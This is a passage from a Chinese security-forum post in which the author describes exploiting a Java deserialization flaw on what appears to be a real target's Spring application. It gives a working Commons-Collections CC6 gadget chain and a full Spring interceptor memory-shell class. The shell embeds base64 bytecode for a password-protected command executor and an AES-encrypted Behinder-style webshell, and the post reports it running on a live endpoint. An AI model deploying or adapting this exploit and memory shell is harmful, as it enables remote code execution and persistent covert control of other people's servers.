com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.*; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import java.io.*; import java.lang.reflect.Field; import java.util.Base64; import java.util.HashMap; import java.util.Map; public class CC6V2 { public static void main(String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); pool.appendClassPath("xxx/java/Qiu/"); CtClass ctClass = pool.get("EvilTest"); byte[] payloads = ctClass.toBytecode(); // byte[] payloads = Base64.getDecoder().decode(); TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_bytecodes", new byte[][] {payloads}); setFieldValue(templates, "_name", "qiuqiu"); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); Transformer transformer = new InvokerTransformer("getClass", null, null); Map innerMap = new HashMap(); Map outerMap = LazyMap.decorate(innerMap, transformer); TiedMapEntry tme = new TiedMapEntry(outerMap, templates); Map expMap = new HashMap(); expMap.put(tme, "qiu"); outerMap.clear(); setFieldValue(transformer, "iMethodName", "newTransformer"); // // ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); // oos.writeObject(expMap); // oos.close(); unserialize("ser.bin"); } public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } public static Object unserialize(String file) throws IOException, ClassNotFoundException { // byte[] decode = Base64.getDecoder().decode(payload); // ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(); ObjectInputStream ois = new ObjectInputStream(new FileInputStream(file)); Object obj = ois.readObject(); return obj; } } ``` 本地搭建相关环境,在jdk8u391的环境下成功执行命令。 但是tmd打回显的?子又不行,调试了半天还是不行?。 刚好外卖到了,边吃鸭脖边又看了两眼,发现?子忘记继承AbstractTranslet了... ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-a63de867d4aef8668596e516848d687da33ba60d.png) 内存马 --- 能回显了,但是在实际攻防当中我们最好还是能够打入内存马方便操作。 考虑到目标环境是spring,我直接就找了以前的springInterceptor的内存马, ```java import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import org.springframework.beans.BeansException; import org.springframework.web.context.WebApplicationContext; import org.springframework.web.context.request.RequestContextHolder; import org.springframework.web.context.request.ServletRequestAttributes; import javax.servlet.ServletRequest; import javax.servlet.http.HttpServletRequest; import java.lang.reflect.Method; public class SpringInterceptorMemShell extends AbstractTranslet { static String b64 = "yv66vgAAADQBSAoAZQCFCACGCQBkAIcIAIgJAGQAiQgAigkAZACLCgBkAIwJAI0AjggAjwoAkACRCACSCwCTAJQIAJUKABMAlgoAEwCXCQCYAJkIAJoHAJsIAJwIAJ0IAJ4IAJ8HAKAKAKEAogoAoQCjCgCkAKUKABgApggApwoAGACoCgAYAKkLAKoAqwoArACRCwCTAK0LAJMArggArwgAsAsAkwCxBwCyCgAnAIUIALMKACcAtAgAtQgAtggAtwsAuAC5CAC6CgC7ALwHAL0HAL4KADIAhQsAuAC/CgAyAMAIAMEKADIAwgoAMgDDCgATAMQKADEAxQoAuwDGBwDHCgA8AIULAJMAyAoAyQDKCgA8AMsKALsAzAgAzQoARQDOCADPBwDQBwDRCQDSANMKAEUA1AoA1QDWCgBMANcKAEUA2AcA2QoA0gDaCgDVANsKAEUA3AoATACWCADdBwDeCgBSAN8KAOAA4QoA4ADiCADjCgBbAOQJAGQA5QcA5ggA5wcA6AcA6QoAXADfBwDqCgBeAN8HAOsKAGAA3wcA7AoAYgDfBwDtBwDuAQASbXlDbGFzc0xvYWRlckNsYXp6AQARTGphdmEvbGFuZy9DbGFzczsBABBiYXNpY0NtZFNoZWxsUHdkAQASTGphdmEvbGFuZy9TdHJpbmc7AQATYmVoaW5kZXJTaGVsbEhlYWRlcgEAEGJlaGluZGVyU2hlbGxQd2QBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAJcHJlSGFuZGxlAQBkKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTtMamF2YS9sYW5nL09iamVjdDspWgEADVN0YWNrTWFwVGFibGUHAJsHAO8HAPAHAN4BAApFeGNlcHRpb25zAQAKaW5pdGlhbGl6ZQcA7QcA6AcA5gcA8QcA6QcA6gcA6wcA7AEAClNvdXJjZUZpbGUBAB9EeW5hbWljSW50ZXJjZXB0b3JUZW1wbGF0ZS5qYXZhAQAZUnVudGltZVZpc2libGVBbm5vdGF0aW9ucwEAK0xvcmcvc3ByaW5nZnJhbWV3b3JrL3N0ZXJlb3R5cGUvQ29udHJvbGxlcjsMAGwAbQEABHBhc3MMAGgAaQEADFgtT3B0aW9ucy1BaQwAagBpAQAQZTQ1ZTMyOWZlYjVkOTI1YgwAawBpDAB4AG0HAPIMAPMA9AEAIlsrXSBEeW5hbWljIEludGVyY2VwdG9yIHNheXMgaGVsbG8HAPUMAPYA9wEABHR5cGUHAPgMAPkA+gEABWJhc2ljDAD7APwMAP0A/gcA/wwBAABpAQABLwEAEGphdmEvbGFuZy9TdHJpbmcBAAcvYmluL3NoAQACLWMBAANjbWQBAAIvQwEAEWphdmEvdXRpbC9TY2FubmVyBwEBDAECAQMMAQQBBQcBBgwBBwEIDABsAQkBAAJcQQwBCgELDAEMAQ0HAQ4MAQ8BEAcBEQwBEgD6DAETAQ0BAARQT1NUAQAGUWl1UUl1DAEUARUBABFqYXZhL3V0aWwvSGFzaE1hcAEAB3JlcXVlc3QMARYBFwEACHJlc3BvbnNlAQAHc2Vzc2lvbgEAAXUHARgMARkBGgEAA0FFUwcA7wwBGwEcAQAfamF2YXgvY3J5cHRvL3NwZWMvU2VjcmV0S2V5U3BlYwEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyDAEdAR4MAR8BIAEAAAwBHwEhDAEiAQ0MASMBJAwAbAElDAEmAScBABZzdW4vbWlzYy9CQVNFNjREZWNvZGVyDAEoASkHASoMASsBDQwBLAEtDAEuAS8BABVqYXZhLmxhbmcuQ2xhc3NMb2FkZXIMATABMQEAC2RlZmluZUNsYXNzAQAPamF2YS9sYW5nL0NsYXNzAQACW0IHATIMATMAZwwBNAE1BwDxDAE2ATcMATgBOQwBOgE7AQAQamF2YS9sYW5nL09iamVjdAwBPAE9DAE+AT8MAUABQQEAB1FpdVlZRFMBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAFCAG0HAUMMAUQBRQwBRgE7AQAnY29tLmZlaWhvbmcubGRhcC50ZW1wbGF0ZS5NeUNsYXNzTG9hZGVyDAFHATEMAGYAZwEAIGphdmEvbGFuZy9DbGFzc05vdEZvdW5kRXhjZXB0aW9uAQMceXY2NnZnQUFBRElBR3dvQUJRQVdCd0FYQ2dBQ0FCWUtBQUlBR0FjQUdRRUFCanhwYm1sMFBnRUFHaWhNYW1GMllTOXNZVzVuTDBOc1lYTnpURzloWkdWeU95bFdBUUFFUTI5a1pRRUFEMHhwYm1WT2RXMWlaWEpVWVdKc1pRRUFFa3h2WTJGc1ZtRnlhV0ZpYkdWVVlXSnNaUUVBQkhSb2FYTUJBQ2xNWTI5dEwyWmxhV2h2Ym1jdmJHUmhjQzkwWlcxd2JHRjBaUzlOZVVOc1lYTnpURzloWkdWeU93RUFBV01CQUJkTWFtRjJZUzlzWVc1bkwwTnNZWE56VEc5aFpHVnlPd0VBQzJSbFptbHVaVU5zWVhOekFRQXNLRnRDVEdwaGRtRXZiR0Z1Wnk5RGJHRnpjMHh2WVdSbGNqc3BUR3BoZG1FdmJHRnVaeTlEYkdGemN6c0JBQVZpZVhSbGN3RUFBbHRDQVFBTFkyeGhjM05NYjJGa1pYSUJBQXBUYjNWeVkyVkdhV3hsQVFBU1RYbERiR0Z6YzB4dllXUmxjaTVxWVhaaERBQUdBQWNCQUNkamIyMHZabVZwYUc5dVp5OXNaR0Z3TDNSbGJYQnNZWFJsTDAxNVEyeGhjM05NYjJGa1pYSU1BQThBR2dFQUZXcGhkbUV2YkdGdVp5OURiR0Z6YzB4dllXUmxjZ0VBRnloYlFrbEpLVXhxWVhaaEwyeGhibWN2UTJ4aGMzTTdBQ0VBQWdBRkFBQUFBQUFDQUFBQUJnQUhBQUVBQ0FBQUFEb0FBZ0FDQUFBQUJpb3J0d0FCc1FBQUFBSUFDUUFBQUFZQUFRQUFBQVFBQ2dBQUFCWUFBZ0FBQUFZQUN3QU1BQUFBQUFBR0FBMEFEZ0FCQUFrQUR3QVFBQUVBQ0FBQUFFUUFCQUFDQUFBQUVMc0FBbGtydHdBREtnTXF2cllBQkxBQUFBQUNBQWtBQUFBR0FBRUFBQUFJQUFvQUFBQVdBQUlBQUFBUUFCRUFFZ0FBQUFBQUVBQVRBQTRBQVFBQkFCUUFBQUFDQUJVPQEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgEAH2phdmEvbGFuZy9Ob1N1Y2hNZXRob2RFeGNlcHRpb24BACBqYXZhL2xhbmcvSWxsZWdhbEFjY2Vzc0V4Y2VwdGlvbgEAE2phdmEvaW8vSU9FeGNlcHRpb24BACtqYXZhL2xhbmcvcmVmbGVjdC9JbnZvY2F0aW9uVGFyZ2V0RXhjZXB0aW9uAQAaRHluYW1pY0ludGVyY2VwdG9yVGVtcGxhdGUBAEFvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L2hhbmRsZXIvSGFuZGxlckludGVyY2VwdG9yQWRhcHRlcgEAE2phdmF4L2NyeXB0by9DaXBoZXIBABNbTGphdmEvbGFuZy9TdHJpbmc7AQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAEADGdldFBhcmFtZXRlcgEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAGZXF1YWxzAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaAQAHaXNFbXB0eQEAAygpWgEADGphdmEvaW8vRmlsZQEACXNlcGFyYXRvcgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7AQAEbmV4dAEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAmamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2UBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAE2phdmEvaW8vUHJpbnRXcml0ZXIBAAlnZXRIZWFkZXIBAAlnZXRNZXRob2QBAApnZXRTZXNzaW9uAQAiKClMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXNzaW9uOwEAA3B1dAEAOChMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAeamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXNzaW9uAQAMc2V0QXR0cmlidXRlAQAnKExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvT2JqZWN0OylWAQALZ2V0SW5zdGFuY2UBACkoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZheC9jcnlwdG8vQ2lwaGVyOwEADGdldEF0dHJpYnV0ZQEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9PYmplY3Q7AQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAIdG9TdHJpbmcBAAhnZXRCeXRlcwEABCgpW0IBABcoW0JMamF2YS9sYW5nL1N0cmluZzspVgEABGluaXQBABcoSUxqYXZhL3NlY3VyaXR5L0tleTspVgEACWdldFJlYWRlcgEAGigpTGphdmEvaW8vQnVmZmVyZWRSZWFkZXI7AQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgEACHJlYWRMaW5lAQAMZGVjb2RlQnVmZmVyAQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgEAB2RvRmluYWwBAAYoW0IpW0IBAAdmb3JOYW1lAQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwEAEWphdmEvbGFuZy9JbnRlZ2VyAQAEVFlQRQEAEWdldERlY2xhcmVkTWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEADXNldEFjY2Vzc2libGUBAAQoWilWAQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQAOZ2V0Q2xhc3NMb2FkZXIBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQAHdmFsdWVPZgEAFihJKUxqYXZhL2xhbmcvSW50ZWdlcjsBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAtuZXdJbnN0YW5jZQEAFCgpTGphdmEvbGFuZy9PYmplY3Q7AQAPcHJpbnRTdGFja1RyYWNlAQAQamF2YS9sYW5nL1RocmVhZAEADWN1cnJlbnRUaHJlYWQBABQoKUxqYXZhL2xhbmcvVGhyZWFkOwEAFWdldENvbnRleHRDbGFzc0xvYWRlcgEACWxvYWRDbGFzcwAhAGQAZQAAAAQAAgBmAGcAAAACAGgAaQAAAAIAagBpAAAAAgBrAGkAAAADAAEAbABtAAEAbgAAAEcAAgABAAAAGyq3AAEqEgK1AAMqEgS1AAUqEga1AAcqtwAIsQAAAAEAbwAAABoABgAAABgABAAUAAoAFQAQABYAFgAZABoAGgABAHAAcQACAG4AAAKHAAcACwAAAcGyAAkSCrYACysSDLkADQIAxgCQKxIMuQANAgASDrYAD5kAgCsqtAADuQANAgA6BBkExgGOGQS2ABCaAYYBOgWyABESErYAD5kAGwa9ABNZAxIUU1kEEhVTWQUZBFM6BqcAGAa9ABNZAxIWU1kEEhdTWQUZBFM6BrsAGFm4ABkZBrYAGrYAG7cAHBIdtgAetgAfOgcsuQAgAQAZB7YAIQOsKyq0AAW5ACICAMYBFSu5ACMBABIktgAPmQD9sgAJEiW2AAsruQAmAQA6BrsAJ1m3ACg6BxkHEikrtgAqVxkHEisstgAqVxkHEiwZBrYAKlcqtAAHOgQZBhItGQS5AC4DABIvuAAwOgUZBQW7ADFZuwAyWbcAMxkGEi25ADQCALYANRI2tgA3tgA4tgA5Ei+3ADq2ADsZBbsAPFm3AD0ruQA+AQC2AD+2AEC2AEE6CBJCuABDEkQGvQBFWQMSRlNZBLIAR1NZBbIAR1O2AEg6CRkJBLYASRkJKrYASrYASwa9AExZAxkIU1kEA7gATVNZBRkIvrgATVO2AE7AAEU6ChkKtgBPGQe2AFBXsgAJElG2AAsDrKcACjoGGQa2AFMErAABAK0BtAG4AFIAAgBvAAAAigAiAAAAHQAIACAAIwAhAC8AIgA8ACMAPwAlAEoAJgBiACgAdwArAJMALACeAC0AoAAvAK0AMQC7ADIAwwAzAMsANADUADUA3QA2AOYANwDwADgA9gA5AQEAOgEIADsBNQA8AU8APQFwAD4BdgA/AaAAQAGrAEEBswBCAbUARgG4AEQBugBFAb8ASQByAAAAHAAG/QBiBwBzBwB0/AAUBwB1+AAo+wEUQgcAdgYAdwAAAAQAAQBSAAIAeABtAAEAbgAAAXgABwAHAAAAlbgAVLYAVUwqKxJWtgBXtQBYpwBrTRJaTrsAPFm3AD0ttgBAOgQBOgUSWxJEBr0ARVkDEkZTWQSyAEdTWQWyAEdTtgBIOgUZBQS2AEkqGQUrBr0ATFkDGQRTWQQDuABNU1kFGQS+uABNU7YATsAARbUAWKcACjoGGQa2AF2nABhMK7YAX6cAEEwrtgBhpwAITCu2AGOxAAUABwARABQAWQAoAHIAdQBcAAAAfAB/AF4AAAB8AIcAYAAAAHwAjwBiAAIAbwAAAF4AFwAAAE4ABwBRABEAXgAUAFIAFQBTABgAVAAlAFUAKABYAEYAWQBMAFoAcgBdAHUAWwB3AFwAfABlAH8AXwCAAGAAhABlAIcAYQCIAGIAjABlAI8AYwCQAGQAlABnAHIAAABFAAf/ABQAAgcAeQcAegABBwB7/wBgAAYHAHkHAHoHAHsHAHMHAEYHAHwAAQcAff8ABgABBwB5AABCBwB+RwcAf0cHAIAEAAIAgQAAAAIAggCDAAAABgABAIQAAA=="; static String clazzName = "DynamicInterceptorTemplate"; static { try { Class<?> RequestContextUtils = Class.forName("org.springframework.web.servlet.support.RequestContextUtils"); Method getWebApplicationContext; try { getWebApplicationContext = RequestContextUtils.getDeclaredMethod("getWebApplicationContext", ServletRequest.class); } catch (NoSuchMethodException e) { getWebApplicationContext = RequestContextUtils.getDeclaredMethod("findWebApplicationContext", HttpServletRequest.class); } getWebApplicationContext.setAccessible(true); WebApplicationContext context = (WebApplicationContext) getWebApplicationContext.invoke(null, ((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest()); //从requestMappingHandlerMapping中获取adaptedInterceptors属性 老版本是DefaultAnnotationHandlerMapping org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping; try { Class<?> RequestMappingHandlerMapping = Class.forName("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping"); abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping) context.getBean(RequestMappingHandlerMapping); } catch (BeansException e) { Class<?> DefaultAnnotationHandlerMapping = Class.forName("org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping"); abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping) context.getBean(DefaultAnnotationHandlerMapping); } java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors"); field.setAccessible(true); java.util.ArrayList adaptedInterceptors = (java.util.ArrayList) field.get(abstractHandlerMapping); //加载ysoserial.payloads.templates.SpringInterceptorTemplate类的字节码 byte[] bytes = sun.misc.BASE64Decoder.class.newInstance().decodeBuffer(b64); java.lang.ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); java.lang.reflect.Method m0 = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class); m0.setAccessible(true); m0.invoke(classLoader, clazzName, bytes, 0, bytes.length); //添加SpringInterceptorTemplate类到adaptedInterceptors adaptedInterceptors.add(classLoader.loadClass(clazzName).newInstance()); } catch (Exception e) { // e.printStackTrace(); } } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } } ``` ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-2c5747f5ac38695e872e1cf78236fa37cf1f7272.png) 成功执行 但是貌似路径只能限制在/3.0/authService/config这里。 测试tomcat的listener类型内存马也可以。 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-875c779b460fb302ff053a39b0d59f9e5417b6ed.png) 参考 == <https://github.com/bitterzzZZ/MemoryShellLearn>
发表于 2024-05-17 10:00:01
阅读 ( 4230 )
分类:
WEB安全
6 推荐
收藏
1 条评论
maomao
2024-05-17 10:36
tql师傅
请先
登录
后评论
请先
登录
后评论
Qiu_
4 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!